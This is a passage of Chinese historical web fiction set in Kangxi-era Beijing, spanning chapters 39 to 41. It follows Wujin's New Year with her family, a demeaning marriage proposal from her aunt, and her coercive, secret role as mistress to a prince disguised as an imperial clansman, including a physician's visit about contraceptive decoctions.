完颜氏知道此事不可轻视,万一被有心人揭发,丈夫好不容易升上去的官职恐怕保不住,晚膳还没来得及吃,跟程氏先去将门口挂着的红灯笼取下,将白布挂上。
乌锦隐约记得历史上的钮祜禄贵妃,是早期辅政大臣遏必隆之女,钮祜禄贵妃的姐姐是孝昭仁皇后,历史上是孝昭仁皇后病重时,钮祜禄贵妃被送进皇宫来巩固家族荣耀,育有十阿哥胤俄,没想到会在年前病逝。
等挂好白布,忙完后,一家人才开始用膳。
乌锦就顺道问她阿玛钮祜禄家族除了贵妃,还有哪些人身居高位。
“那多了,钮祜禄家是京城大族,贵妃虽然病逝,但钮祜禄一族跟皇家依旧紧密连接,那遏必隆大人的长子法喀大人如今是一等公,护军统领,还有……让我想想。”
乌志善费劲脑筋回想:“哦,还有遏必隆的儿子颜珠大人是一等侍卫,你可知颜珠大人娶了哪家姑娘?”
乌锦问娶了谁。
“颜珠大人娶了佟家姑娘,佟国维大人的女儿,佟国维大人,女儿你可知道是谁?”
乌锦装作不知,问是谁。
乌志善用崇拜的语气说道:“那可是真正的国舅爷,已逝孝懿仁皇后的阿玛,你阿玛我听说佟大人另外一个女儿已经进宫,被封妃了,女儿,你说这钮祜禄一族是不是京中贵族?”
乌锦点点头,这的确是毋庸置疑的京中贵族,都说八旗之间基本上都沾有一点姻亲,八旗男女互相婚配居多,这钮祜禄家跟佟家沾着姻亲也没那么意外,反正几个大家族儿女之间互相嫁娶是常有的事。
乌志善呵呵笑两声:“不过你阿玛也就只知道这么多了。”
他们家能接触的人就那么多,消息不灵通也正常,乌锦想到爱新觉罗.保泰,又问了一句:“那阿玛知不知道阿哥们都娶了哪家姑娘?”
“阿哥们?你阿玛哪里知道阿哥们的事,我只听你姑母说过纳喇一族也出了一位宫妃,是如今的惠妃娘娘,惠妃娘娘是你姑丈族里的人,好像是跟你姑丈祖父那边是属同宗的。”
跟祖父那一辈同宗的话,那关系就远了。
她阿玛似乎又想起什么:“对了,你大堂哥曾是四阿哥的哈哈珠子,以前你大堂哥是跟着四阿哥一起在宫里念书的,你姑母说起过好几次,你记得吗?”
乌锦有些印象,能当阿哥们的哈哈珠子是特别光荣的事,大堂哥能这么年轻就当上三等侍卫也是因为这缘故,成年的阿哥是愿意提拔自己的亲信,等于是培养自己的势力,哈哈珠子幼时跟着阿哥们一块长大,自然受阿哥信任,姑母提过好几次,她记得这件事。
她本来想问保泰的事,不过突然问起保泰,她怕会引起怀疑,她继续闲聊:“阿玛,你说圣上有那么多儿子,他最喜欢谁?”
乌志善很肯定地回答:“还能有谁,自然是太子,听说太子是圣上亲自抚养长大的,不然太子为何是太子,其它阿哥只能是阿哥,太子是中宫嫡子,你阿玛还远远瞥见过太子一次,太子气势非凡,像你阿玛这种小官都被太子的气势震到。”
完颜氏没好气道:“就属你最没用,别人见到太子说不定上前巴结拍马屁,结果你胆小到都不敢上前。”
乌志善辩解道:“你一个妇人懂什么,太子岂是一般人能靠近的,你以为太子是何人,谁拍太子马屁都能升官的话,你把太子当成什么愚钝之人不成,我正跟女儿说话呢,你别乱插话。”
完颜氏给自家女儿夹一块羊肉,没好气道:“桃子,你阿玛是窝里横,只敢在家里吹嘘,你看他在外面敢不敢这样说话。”
乌锦笑了笑,帮她阿玛说一句:“在家不比在外面,在家能自在一些,在外面要谨言慎行,太子不是一般人,的确不是那么好接近的,阿玛也没说错。”
“胳膊肘往外拐,你可是我女儿,就知道帮着你阿玛说话。”
乌锦笑了笑,低头吃羊肉,过一会儿,她对着乌安说道:“乌安,你聪明,你平日里可以多跟你同学打听打听这些事,别死读书,要多跟人来往。”
“姐姐,我知道了。”
乌锦给乌安也夹一块羊肉,而乌明在桌上一向只顾着吃,他年纪小,也听不懂大人在说什么。
夜深了,一家人吃好后洗漱一番就歇下了。
第二日,三婶马佳氏见到他们家挂白布过来问一句,一听是宫中贵妃殁了,她也连忙将自家门头上挂上白布。
他们家所住的胡同巷子里大多数人家的门头都开始挂上白布,将喜庆的灯笼都撤下,都听说了贵妃殁了的消息。
不过对于普通人家而言,该过年还是过年,过年的气氛不减,离大年初一越来越近,乌锦的铺子也暂时关门,她每日陪着她额娘备年货。
十二月二十一日,三婶家做了豆腐,给他们送过来三块,说是刚做出来的新鲜豆腐,她用黄豆磨的。
当天傍晚,她小娘做了豆腐炒肉沫这道菜,之后的几天,一家人都欢欢乐乐地准备过年的事。
除夕当天,她额娘跟小娘做了一桌子菜,十分丰盛,一家人吃了一个时辰,过后乌安跟乌明就跑出去玩了,跟胡同里的小伙伴放鞭炮。
彩玉虽然比乌安年纪大,但她也好玩,也跑出去了,乌锦跟她额娘他们坐在铺炕上,她额娘还在绣乌明的冬袜,她边吃零嘴边看话本子。
许是隔壁三婶她们也吃过团圆饭了,下一顿是要到晚上亥时,跨完年再吃了,还有好几个时辰,于是过来找她们聊天。
她们提到过年选秀的事,听说选秀在三月,家中有适龄女孩的已经开始张罗了,大婶钱氏的女儿今年十四岁,正是适合选秀的年龄。
钱氏说她特意请了一位以前在宫里当过宫女的嬷嬷教她女儿规矩,花了不少银子。
程姨娘接话道:“要是能选上,花多少银子都值得,我看佳仪长得挺好看的,说不定能选上。”
钱氏笑道:“我这不是看她长得还行,才愿意花银子请人来教她规矩,盼着她能被选上,能光宗耀祖,以后我们家能有个倚仗,我听说能过完年,各旗都统衙门那边要适龄女子的名单呈报上来,你说
我们要不要给那些长官一些银子,先把名字报上去。”
三年一次的选秀包括初选、复选、终选,一共三轮选核,这里面其实也有很多弯弯绕绕,就从初选前呈上去的名单来说,都统衙门那些长官若是有心刁难,那他们可以不将你的名字呈报上去,刻意隐去。
三年一次的选秀错过了可能要再等三年,本来女子十三岁才可参选,三年一过便是十六岁,有时候参选年纪大的人三年过去可能都十九二十岁了,没有几个三年。
这个时候可能就需要给那些上报名单的长官一些银两,这几乎是默认的“潜规则”,没人会举报那些长官。
这还没到初选,等名单交上去后才开始初选,初选便是要看你的长相,像她脸上有疤的人是直接淘汰的,初选其实不大严格,就是看你身体有没有缺陷之类的,没有的话可以进入复选,复选才需要进宫,学的那些规矩才用得上,一关关下来,基本上只会有几十人最后被选中,
“你们当初有没有给长官银子?”
完颜氏笑道:“我们家桃子哪用得着给银子。”
钱氏一想也是。
马佳氏说道:“大嫂,你都让宫里出来的嬷嬷教佳仪规矩了,别舍不得那几两银子,该给就给,不然他们不把佳仪的名单放上去怎么办,难不成又要等三年。”
“说的也是,我得先去打听打听今年谁负责交名单。”
乌锦在一旁只静静听着,过一会儿觉得无聊便走出去了,鞭炮声有远有近,不远处也有人往天上放花灯。
她走着走着就见到前面的张宗,跟张宗视线对上,她不想跟张宗再有往来,转身想回去,结果张宗直接追上去。
“桃子,你躲什么?”
乌锦神情略显尴尬,她说她没躲,没想到会碰到他。
张宗知道自己是刻意过来乌家附近转悠的,他记得上一年也是除夕,她说要跟他成婚,他们两还高高兴兴说着两家人要如何见面订亲的事,眨眼间一年过去了,她却开始躲着他。
“你不愿意见到我?”
要怎么说呢,她既然跟张宗退婚了,两人的确没有再见面的必要,她隐隐感觉张宗似乎还没放下,她抬头看张宗,说道:“我记得你之前说过你家里人为你找好了一门亲事,你说你要成亲了,是年后吗?”
张宗没想到自己随口胡诌的话被她记下,他要是不这么说,她更不会见他,他一点都不心虚:“是年后。”
“哪家姑娘?”
“反正都不是你,哪家姑娘都一样。”
乌锦深深叹口气:“张宗,我们的缘分已经尽了,你真的该往前走了,别再惦记我,我们的事是我不对在先,我已经很愧疚了,你别这样,我都不知道该怎么面对你了,我觉得我做错事了。”
乌锦没想到张宗对她的情这么深,虽说他们从小相识,有一起长大的情谊,但她总觉得不至于此,她以为张宗很快忘了她,但显然他陷得太深,她都不知道该如何劝他。
“不会的,你只需要再等等,再等等就好。”
“张宗,你在说什么?”
张宗随即摇摇头,说没事,他知道乌锦此时不愿见他,他今日见到她,也跟她说上话了,他满足了,于是他说他先回家了。
乌锦看着张宗离开,她心里不知为何隐隐不安,她也没有心思再闲逛下去,还是回家了。
到了深夜,亥时的梆子声响起时,一家人又一块给祭拜祖先,后吃守夜饺子,五岁的乌明眼皮快耷拉下来,只吃了两个,程姨娘就抱他回铺炕上继续睡。
吃完饺子后才算是守完夜,一家人才真正入睡。
大年初一的早上鞭炮声不绝入耳,乌锦被吵醒,乌明已经醒了,过来她的房间想拽她出去陪他一起玩。
还是小大人的乌安过来把乌明拉走,说让她继续睡觉,乌锦就继续躺在被窝,不愿意起来,直到她额娘进来,端了一碗羊杂汤给她,她吃过后才慢悠悠地起身。
小孩子的过年是放鞭炮看杂技,到处玩耍,而乌锦一直待在屋子里吃吃喝喝,没有小孩子要出去玩的那份童心。
跟她一块长大,同龄的女孩子大多嫁人了,住在夫家,她们往来就少了一些。
接下来的十几天,乌锦就陪着她额娘跟小娘一起走亲戚,到各家吃饭,这个年就这样平静过去。
年过去后,乌锦的绣铺生意变好,许是宫里要选秀的消息已经几乎确定下来,各家要给选秀的女儿准备一套上好精致的旗装,便拿来旗装让她在上面刺绣。
乌锦年后的一个月特别忙。
有一日,她采买丝线时碰到雅尔江阿,她给他行完礼刚准备要走,被他叫住。
雅尔江阿语气不好,带有一点嘲讽道:“我说乌姑娘怎么不愿意嫁给我当妾呢,原来乌姑娘攀上更好的高枝了。”
乌锦一听就明白,保泰应该告诉他了,只是这阴阳怪气是怎么回事,之前还一副喜欢她的样子,现在突然翻脸,她觉得有点好笑。
“乌姑娘,你还不如当我的妾,而不是当外室,你以为当上外室,你就是主子了,我告诉你,你一辈子都成不了真正的主子。”
“嗯,谢谢世子爷提醒,没什么事的话,我先走了。”
雅尔江阿是真没想到乌锦攀上四阿哥了,当了四阿哥的外室,他们两什么时候走在一起的,他都不知道,怪不得乌锦拒绝他,四阿哥跟他比,自然是四阿哥身份更尊贵。
四阿哥告诉他乌锦是他的外室时,他不禁有些后怕,他竟然跟四阿哥抢女人,他虽然跟四阿哥从小一块长大,不过四阿哥是皇子,在真正的皇子面前,他们这些世子是要低一头的。
四阿哥真计较起来,等于是他无形中得罪了四阿哥,而四阿哥的性子,他也有一些了解,绝对不是宽容大度之人。
幸亏他没有做出更过分而无可挽回的事情,一个女人而已,比起得罪四阿哥,放弃一个女人算得了什么,他只是没想到乌锦有这么大的能耐竟然能攀上四阿哥,也没想到四阿哥会看上乌锦,乌锦明明长相丑陋,四阿哥放着那么多貌美侍妾,竟然学起别人养起外室,这是怪事一桩。
至于乌锦,这个女人不会有善终的,她以为她攀上四阿哥是一条好前程,那是痴人说梦,等四阿哥腻了,厌倦她,她只有死路一条,不仅如此,她的家人恐怕也不能幸免于难,她不可能从外室转为真正的主子。
她贪图荣华富贵,自甘下贱,以为自己走的是锦绣前程,殊不知这是一条能预见的死路,死期掌握在四阿哥手里。
雅尔江阿本来还觉得乌锦是跟那些丫鬟不一样的女人,没想到都是一样的,她们都妄想飞上枝头变凤凰,他不知为何开始看不起乌锦,觉得这个女人庸俗不堪,原先那点好感顿时消失,刚才是实在忍不住嘲讽她。
只是乌锦神色平静,被戳穿后也没有尴尬,果然能当外室的女人脸皮都厚,不要脸面,豁得出去。
乌锦不知道雅尔江阿心中所想,也没空管他怎么想,应付一个爱新觉罗.保泰已经足够让她心累,她哪有闲心管雅尔江阿。
等她回到铺子见到谢嬷嬷,谢嬷嬷让她明日过去,她点头应下。
彩玉有些担忧道:“小姐,你每次过去,我都担心你,你总是弄得一身伤回来,就不能不过去吗?”
乌锦有两次全身受伤是让彩玉帮她擦药,她受伤的事,彩玉是唯一知情的。
“我没事,不用担心。”
“小姐,要不我们报官吧。”
乌锦轻笑,什么官比那人大,要是能报官,她又怎么会答应,没有几个人能管得了那人,听说康熙又极其宠爱他这个侄子,很早就封为世子,历史上裕亲王也比恭亲王要得康熙的信任。
“放心吧,我没事,你看我每次我能活着回来,只是偶尔有一些皮肉伤而已,没有大碍。”
彩玉不懂,但她也不是三岁小孩,知道要自家小姐当外室的人肯定是什么了不得的人,王爷之类的,小姐才不敢报官,自家小姐宽慰她,她却什么都做不了。
“替我瞒着就好,其它的你不用管,听我的,别想太
多,我还是希望你每天开开心心的。”乌锦捏了捏彩玉的脸,她婴儿肥还没彻底褪去,肉嘟嘟的很好捏。
“我知道了,我听小姐的。”彩玉知道自己不能让小姐还要担心她的心情,她挤出笑容对着小姐笑了笑。
乌锦又继续忙活了。
翌日,她坐着赵师傅驱的马车准时来到宅子这边,那人还没过来,她坐着等他,如今都二月初了,她有两个月没见到他了。
想肯定是不想的,她巴不得他晾着她,不来找她,只是目前显然还不可能,她想去打听裕王府的事,只是皇家的事不是那么好打听的,她认识的人跟裕王府关系远着,暂时还打听不到什么。
这次等得比较久,过了一个时辰,他还没有出现,她肚子饿了,让谢嬷嬷给她弄些吃一碗面,在她吃面的时候,那人过来了。
他神色阴郁,冷声让她去净身。
这是嫌弃她吃面沾上味道了,之前他喝酒过来找她,她都没嫌弃他呢,乌锦还是乖乖地让谢嬷嬷把面撤下去,她过去沐浴净身,反正她看出来他今天心情又不是很好。
第40章第40章更新
第40章
沐浴净身后谢嬷嬷还帮她涂抹玫瑰花露,生怕那人闻到什么不好闻的异味,将她弄得香喷喷的,还小声提醒她别跟他拧着来,什么都说好就是,别跟他顶嘴。
乌锦其实知道自己不能真的把他惹怒,或是真的得罪他,她不断地试探才知道他的底线在哪,她属于是在他的底线上反复横跳的人,过了,她就会缩回来,在绝对的权势面前,她没有那么高风亮节,不畏强权,她就是一个普通的俗人,她想活着,想让家人活着,她该低头的时候会低头的,不会真的伸着脖子跟他硬犟,命比什么都重要。
乌锦回到内间,见他已坐在床上,她主动走到他面前,抬手替他解衣。
他依旧脸色阴沉,不过似是在想别的事情,注意力不在她身上。
乌锦默默帮他脱掉所有衣物,又自己脱掉自己的,她还不知道自己该不该继续往下时,他终于动了,盯着她的眼睛,手搂着她的腰,说了一句胖了。
“过年吃得多,奴婢不节食。”
正所谓过年胖三斤,乌锦也很喜欢吃,过年就是吃吃喝喝,胖了就胖了,腰上多些赘肉而已,又不是吃他家的米。
“没胖在该胖的地方。”他的手往上移了移。
乌锦低头堵住他的嘴。
胤禛过来时心情不怎么好,出宫时碰到太子二哥,二哥仗着兄长的身份对他说教,他心生不耐,被太子瞧出,又引来一顿训斥。
其实他知道二哥是为了银楼的事故意看他不顺眼,他先前让雅尔江阿购置银楼,如今银楼已经开起来,每个月给他添了不少银子,正巧,二哥也有一座银楼,且跟他银楼的位置相距不远,二哥那座银楼是交给索额图的儿子格尔芬打理,明面上是在格尔芬名下。
许是有人给二哥汇报说他的银楼抢了他家银楼的生意,于是二哥对他心生不满,见到他有心为难。
胤禛自然不会放弃银楼的生意,只能乖乖听二哥训斥几句,不与他争执,所以过来时是憋着一股气,见到乌锦时就忍不住冷脸。
她过去沐浴这一会儿,他已经冷静下来,没那么生气了。
乌锦的主动让他心里那股火慢慢消退下去,目光落在她身上,她发梢还没有完全干透,披散在她肩上,只是两个月没见,她身上的肉多了不少,曲线轮廓很明显。
“你到底是吃了多少?”他捏了捏她身上的肉,轻声问道。
“每天吃,过年有好多炸物跟点心,我不忌嘴,世子爷,你别再说了,你说得我都不好意思了。”
胤禛已经习惯乌锦一会自称奴婢,一会自称我,至于她说的不好意思,他是没看出来,这女人向来不会矜持害羞,他把她放倒在床上,倾身而至。
这个女人虽说会喊疼,但不管他要多少次,她仿佛都能承受,一个卑贱的外室,他自然也不会产生怜惜之情,有时候力道不自觉地重了一些,真的伤到她,他也不会愧疚。
不知过了多久,胤禛终于畅快了,他起来披上外衫,问谢嬷嬷几时了,听是未时初,他没有叫水净身,穿上鞋靴就准备离开。
乌锦见他走后也从床上起来,喝掉瓜嬷嬷端来的避子汤,自从她开始喝避子汤以来,她的经期变得不稳定起来,有时候隔一个月,有时候隔一个半月,甚至有时候连着十几天出血。
虽说她不想要孩子,知道若真的有孩子也会是流产的结果,但她还是想自己健健康康的,她跟瓜嬷嬷说了她半年来月信不准的事,让瓜嬷嬷替她请一位大夫,在她下次过来这边时替她看诊。
谢嬷嬷跟瓜嬷嬷一听,互相对视一眼,其实不敢多说什么,也不能直接答应乌姑娘请大夫过来,没有主子爷的同意,她们不敢做主。
这避子汤不可能完全坏处,避子汤喝多了会轻则月信失调,重则身子受损导致不孕,往后子嗣艰难。
谢嬷嬷犹豫道:“乌姑娘,请大夫这事,你请示过主子爷了吗?”
乌锦心想她想叫大夫替她看诊都要经过保泰同意嘛,她之所以叫她们帮她找大夫,主要是她家附近的大夫都知道她是谁,她一个明面上没出阁没嫁人的人说了她吃避子汤导致月信失调,那估计方圆几里的人都会知道这件事,所以只能托她们帮忙找大夫。
“那劳烦你们跟世子爷传话说我想找一位大夫看病。”
乌锦不可能去裕王府找他,他们没见面的时候只能通过谢嬷嬷她们来传话,方才她喝避子汤的时候才想起这事,不然她刚刚就趁他在的时候跟他说一下,他不至于连大夫都不让她请吧。
谢嬷嬷最后还是点点头,说她去请示主子爷。
不管怎么样都不是今日的事,乌锦很快离开。
……
又过五天,二月十五日是乌锦的生辰,一大早,她额娘给她煮了两颗鸡蛋,她没有去铺子那边,只待在家里。
到了辰时末,她姑母跟大堂嫂过来她家,她姑母记得今日是她的生辰,特意过来给她送礼庆生。
她姑母送一件香色地花蝶妆花缎衬衣给她,春日穿着正合适,而她大堂嫂送了她一套合香楼的套装给她,包括一盒胭脂,一盒口脂、一盒石黛与一瓶百合花露,合香楼的东西并不便宜,这么多少说也要两三两银子。
姑母坐在铺炕上,送完礼后先喝口茶,随后看着她额娘她们说道:“桃子的亲事还没着落?桃子今年都十九岁了吧,你们做爹娘都不着急吗?”
完颜氏坐在底下的圆凳上,回道:“英姑,你也不是不知道,别人家也很挑衅,看不上我们家桃子,要是明知那家人不好,我们也不能硬把桃子嫁过去吃苦,我们家女儿养一辈子也是养得起的。”
乌兰英面色严肃,不满道:“是你们养桃子还是桃子养你们,难不成你们想要桃子一辈子待在家里,被人指指点点吗?”
完颜氏知道自己丈夫这位姑姑的性子,乌家人丁稀少,她是乌家唯一的长辈,尤其是在他们面前,容不得他们辩驳顶嘴,她只能尴尬地说她会努力找找看,争取今年把女儿嫁出去。
“眼光别那么高,乌家是什么条件,桃子脸上又是这样,你们别挑挑拣拣,把桃子给耽误了,难不成你们真想让桃子嫁入简王府,嫁给世子爷?”
乌兰英也听说乌锦跟世子的一些传闻,她去打听了,王府那边没有这方面的意思,她觉得是他们试图高攀世子,乌锦眼光高看上世子了,过年的时候,李夫人特意过来跟她说这事,李夫人的意思是福晋那边不容许乌锦嫁进来。
她身为长辈,不管李夫人还是福晋的意思已经很明显,乌锦是嫁不进去的,为防他们自己不知天高地厚,她过
来是想敲打敲打他们的,别弄到最后得罪福晋她们。
乌兰英扫了一眼乌锦,她知道乌锦心气高,一般人她看不上,只是她脸上若是没落疤,她想嫁谁,只要不是正妻,可能都有点希望,现在是她毁容了,年纪又大,家世太低,想入皇室勋贵的门,那是不可能的,属于好高骛远,认不清自己的身份。
“桃子,姑母都是为你好,姑母不会害你,你别这也不嫁,那也不嫁,最后年纪越大越嫁不出去,这嫁娶终究是讲究门当户对的,我已经为你寻了一门亲事,是大堂嫂的堂兄,他在户部当差,你嫁过去后衣食无忧,若是你能诞下儿子,日子就更和美了。”
乌锦看着姑母,回想大堂嫂的堂兄长什么样,她隐约记得大堂嫂的堂兄三十来岁了,已经娶妻生子了,这是又让她当续弦吗?
她阿玛也才三十五岁,这古代人婚嫁生育都早,十几岁就会嫁人娶妻。
“姑母,大堂嫂的堂兄不是已经娶妻生子了吗?”
大堂嫂马佳氏说道:“我表哥是户部郎中,正五品的官,你嫁过去后是享福的。”
乌锦视线落在马佳氏身上,一瞬不瞬地盯着她,还是姑母出声。
“他是已经娶妻,他一共一妻三妾,只是他的妻妾没本事,生下的两个儿子都夭折了,只有三个女儿,你嫁过去后若能生下儿子,你这辈子就有倚仗了。”
乌锦听明白了,这是想纳妾生儿子,可能对方的妻妾生不出儿子了,想找一个年轻的嫁进去生儿子,她觉得荒谬,又觉得此时的姑母跟马佳氏有些面目可憎,嫁给一个三十几岁的户部郎中当妾,追生儿子,这哪是一门好亲事,这完全就是火坑。
完颜氏听完立即反对:“三十几岁跟我们家桃子年纪差太多了,又有妻有妾,我们家桃子不嫁,哪怕他是五品官都不嫁,英姑,这种亲事不用再说了,谁愿意嫁谁嫁,反正桃子不嫁,她在家待一辈子都行。”
一旁的程氏脸色也不好看,这说的是什么亲事,这不是自己女儿不心疼,这么多年,他们一家都很敬重乌兰英,逢年过节送礼,很少见他们回礼就算了,如今又要把桃子嫁入那样的人家,她都想起身赶人了。
乌兰英不觉得自己有错,她觉得这是一门好亲事,马佳.文海虽说有妻有妾,但家底厚,乌锦年轻,嫁过去肯定得宠,若是能胜利诞下儿子,二十几年后就是乌锦的儿子做主,也就是乌锦做主,这人活一世不就是为了当家做主嘛,况且马佳一族隶属上三旗的正黄旗,乌锦的儿子也会是出身上三旗,这人的出身多重要,几乎决定了一生,就像乌锦的两个弟弟是隶属下五旗的镶蓝旗,往后他们领了旗缺后可能一辈子跟乌志善一样当个普通牛录,连个三等侍卫都当不了。
“你们再仔细想想,文海家是他做主,他们家富裕殷实,桃子嫁进去后是不愁吃穿,会穿金戴银的,他的确年长桃子十几岁,但他没有儿子,只要生出儿子,这个家以后就是桃子来继承,男人若死得早,这女人的日子不是更好过,只用守着自己的儿子就行,不用伺候男人。”
完颜氏已经不想再听下去了,今日是女儿的生辰,本该是欢欢喜喜的一天,没想到仿佛被人扇了一耳光,被上门折辱,她好端端的女儿只配得上这样的人,当年女儿出生的时候,他们夫妇两是找过算命先生算命的,那算命先生说自家女儿是富贵命,锦衣玉食,被奴仆环绕伺候的,哪成想在自家姑母眼里只能嫁个老男人当妾。
她难得对着乌兰英态度强硬:“既然他这么好,英姑可以把你的女儿嫁过去,反正桃子不嫁,别说了,就不留你们用膳了。”
乌兰英哪里没听出这是逐客的意思,她顿时沉脸,觉得她们不识好歹,她帮了乌家这么多年,她们不承她的好意,她气得起身离开。
完颜氏想把她们送过来的生辰礼还回去,但她们走得快,她就没有追上去,等人走后,她过去把门关上,看着自家女儿说道:“这下好了,你姑母这人心眼小,不知道她回去后多生气,以后怕是不会跟我们往来了。”
程氏说道:“不往来就不往来,哪有这么欺负人的,净给我们家桃子介绍一些歪瓜裂枣,把桃子推入火坑,见不得我们好似的,以后我们也别给他们送礼了,简直白瞎那些银子。”
完颜氏跟程氏相视而笑。
乌锦也跟着笑了。
母女三人约好不将此事告诉她阿玛,她阿玛一向敬重姑母,知道后肯定会说她们一顿。
到了傍晚,乌锦吃了一碗额娘做的长寿面,才算是结束今年的生辰日。
过了两天,三年一次的选秀官文正式下来,各旗都统衙门那边开始统计核对名单,准备上交到户部那边。
乌锦家只有她一个女儿,自然对这次选秀没有很关注,隔壁郑家因为佳仪到了选秀的年纪,正四处奔波,顺道打听今年有哪家姑娘选秀。
三婶她们时不时过来她家找她额娘聊天,她额娘再把听到的告诉她,正因如此,乌锦也知道一些关于今年选秀的事。
几个成年的阿哥之中唯独太子还没娶妻,太子妃一位还是空着的,听说太子要为已逝的孝庄太皇太后守孝,才一直没有大婚,今年可能要为太子选太子妃。
还有就是五阿哥跟七阿哥的嫡福晋之位也是空着的,两位阿哥也到了娶妻的年纪,反正今年选秀,大家卯足劲要让适龄的女儿入选,盼着自家女儿当个皇子福晋。
乌锦铺子这边加上她只有四个绣娘,由于临近选秀,铺子的生意源源不断,这刺绣属于是急不来的活,她们已经不接单了,绣不过来,只能拒绝,让客人找别的绣娘,去别的绣铺。
三月一日,乌锦过去宅子那边,她坐在马车上绣手帕,到了之后,她以为她会像上次那样需要等他,没想到他比她先到。
屋内还有一位三十来岁的男人,她看到旁边放着的医箱,便知道是他给她找的大夫。
“坐下,让他给你把脉。”他命令道。
乌锦坐在铺炕上,把手平放在炕几,让大夫给她把脉,等把完脉后,大夫问她的病症,她将自己月信不调,连着十几日出血的症状告诉大夫。
大夫问避子汤的药方,谢嬷嬷将避子汤的药方拿给大夫看,大夫看完后说要想彻底医治病愈,这避子汤不能再喝。
乌锦眼睛瞄了瞄一旁的保泰,心想这大夫还是个好大夫,她不信大夫看不出来她跟保泰的关系,大夫还能这么说,说明他医者仁心,没有昧着良心说话。
胤禛开口道:“有没有不伤身的避子汤?”
大夫为难犹豫,说他另外写一张避子汤的药方,药效温和一些。
乌锦怕药效太温和反而达不到避孕的作用,流产更伤身,她出声道:“大夫,避子汤是避孕的,若药方不能避孕,那便失去它原本的作用,只温和不伤身却达不到避孕的效果,那药方不如不开。”
大夫看她一眼,很快又看向她旁边坐着的男人,仿佛在请示他的意见。
胤禛端坐在铺炕上,静默片刻后才言:“她说得没错,只温和不伤身没有用,既是避孕,就要达到避孕的效果。”
大夫似乎明白了什么,说他重写一张药方,避孕效果放在第一位,他再写一张温身滋补的药方,两张药方熬煮的汤药交替着喝,不喝避子汤时可喝滋补的汤药。
乌锦皱眉,她若是在家熬药,她家人肯定会过问,她看向大夫,拒绝道:“大夫,你还是只开避孕的药方吧,我若是二者同时喝,岂不是会中和掉药效而导致意外怀孕。”
大夫说的确有这个可能。
“那就开避孕的药方。”
乌锦觉得这是无解的问题,她得喝避子汤,而避子汤有副作用,除非她彻底不喝,不然注定伤身,她是外室,她不被允许怀孕的,对于保泰而已,伤的又不
是他,他也不会在乎。
胤禛的确不在乎,他点点头,同意只开避孕的药方。
大夫开始写药方,将药方交到谢嬷嬷手中。
胤禛挥挥手,示意大夫可以离开了,大夫很快提着医箱离开,谢嬷嬷她们也躬身后退出去。
他又像招狗一样招她过去,乌锦从炕几另一边过去直接坐在他腿上,最好是压死他。
“你不想怀我的孩子吗?”
这是什么话,乌锦看他,像是在看疯子一样看他,她怀孕,他会让她生下来嘛,他若是想让他怀上他的子嗣,他就不会让她喝避子汤,她一个外室,若是怀上他的子嗣,那她的孩子算什么,不被承认的私生子。
“世子爷,奴婢不懂世子爷的意思,奴婢哪敢生下世子爷的孩子,奴婢低贱,不配生下世子爷的孩子,奴婢从来没有想过要怀上世子爷的子嗣,奴婢知道自己的身份,奴婢不敢逾越。”
“知道就好,别妄想母凭子贵,你若是不安分守己的话,别怪我无情。”
乌锦从来没想过要母凭子贵,因为她知道这个人对她无情,她想着避子汤喝多了,往后子嗣艰难就艰难好了,她都当了他的外室,恐怕这辈子不能像常人那样结婚生子,只盼着他腻了之后,能给她留一条生路,别赶尽杀绝。
她搂着他脖子,郑重道:“奴婢晓得的,奴婢不会逾越的,还请世子爷放心。”
胤禛觉得她还算识相,没有故作聪明。
乌锦靠近他,唇瓣轻轻贴着他的薄唇。
胤禛抬眸就看到她那双好看的眼睛,她唇上的温热传给他,他喉结不由自主地滚动一下,他直接掌握主动权,将她吞去。
乌锦被抱着到内间,她的腿盘在他身上,她被放到床上时被亲得透不上来气,只能轻轻推拒,结果她的手被桎梏住,扳到身后。
事后,乌锦疲惫地躺在床上,不想动弹。
胤禛也难得没有起身,跟她一起躺着。
“世子爷,我听说今年选秀,那你身为宗室子弟,是不是圣上也会将一些秀女赐予你?”
“你想问什么?”
乌锦撇撇嘴,她就是随便聊聊,太沉默寂静的话,她心里反而不安。
“没想问什么,世子爷不想说就算了。”
她想着若是有八旗女子入他的后院,新人在侧,他是不是不会过来找她,她总觉得他找她有点频繁了,她不想喝那么多避子汤,连着出血十几日,虽是断断续续的,出血量不多,但一向康健的她还是有点害怕自己身子出问题。
三年选秀总会有一些秀女被皇阿玛分到他的后院,替他绵延子嗣,他如今还没有长子,膝下子嗣稀少,就算是保泰也是如此,只是这些事,他没必要跟她说。
“世子爷,我不方便另找大夫,方才那个大夫,你能不能告诉我他家住何处,我要是身子不适,我可以直接找他给我医治?”
“我会跟他说的,你日后有事,可以往他府上递信,他会过去给你医治,他是太医,擅长妇人科。”
胤禛觉得她喝避子汤伤身是因他所起,让周太医给她医治并非是什么难事,周太医是他信任之人,他口风紧,不会乱说话的。
“太医?竟然是太医,我还以为是普通的大夫,世子爷竟然让太医给我看病,是不是太大材小用了?”
胤禛被乌锦没见过世面的样子逗笑,薄唇微扬,小官之女便是如此,她这辈子能碰到最尊贵的人可能就是他了,没有他,她哪能让太医给她医治。
“你记住我先前说过的话,别暴露我的身份。”
“可是太医不是知道世子爷的身份?这不算我暴露的吧?”
周太医知道的是他是四皇子,而不是保泰,胤禛这么一想顿时又觉得不妥,怕周太医暴露他是四皇子的事实,这个女人若是知道他是皇子,估计不愿意安分守己了。
果然一个谎言需要无数个谎言去圆,胤禛此时有种搬起石头砸自己的脚的感觉,只能让苏培盛去警告周太医管住自己的嘴,他还是嗯了一声。
外面的谢嬷嬷两人听到里面一直没传来叫水的声音,她们也不敢进去,只觉得主子爷好像来找乌姑娘的次数越来越多,待在这宅子的时辰也越来越长,总归是喜欢乌姑娘相处才会来得频繁。
不过主子爷来得越频繁,乌姑娘喝的避子汤越多,身子越伤,往后乌姑娘若真成了主子,没有子嗣,她的处境也会很艰难。
谢嬷嬷忍不住忧心起来。
40-50
第41章第41章更新
第41章
乌锦从宅子那边回到铺子时,她小娘正好过来给她们送午膳,问她去哪里了,怎么不在铺子里,她说她过去王夫人府里,王夫人要她给她女儿绣一件旗装。
程氏让她先吃饭,打开食盒将午膳一一端出来,一碟青椒炒肉、一碟花菇鸭掌跟一碟四个如意卷,她看着她们吃完才提着食盒回去。
彩玉等程氏走后才问自家小姐有没有受伤,乌锦摇摇头说她没有,彩玉不放心,还挽起她的袖子查看,见到身上没有青紫的痕迹时才放心。
说来也巧,乌锦当天晚上月事就来了,夜里起来弄上月事带才安心躺下歇息。
京城回暖,春日来袭,万物复苏,胡同里的古树长出鲜绿的嫩叶,城里不少人去树林里踏春,欣赏春日的盎然。
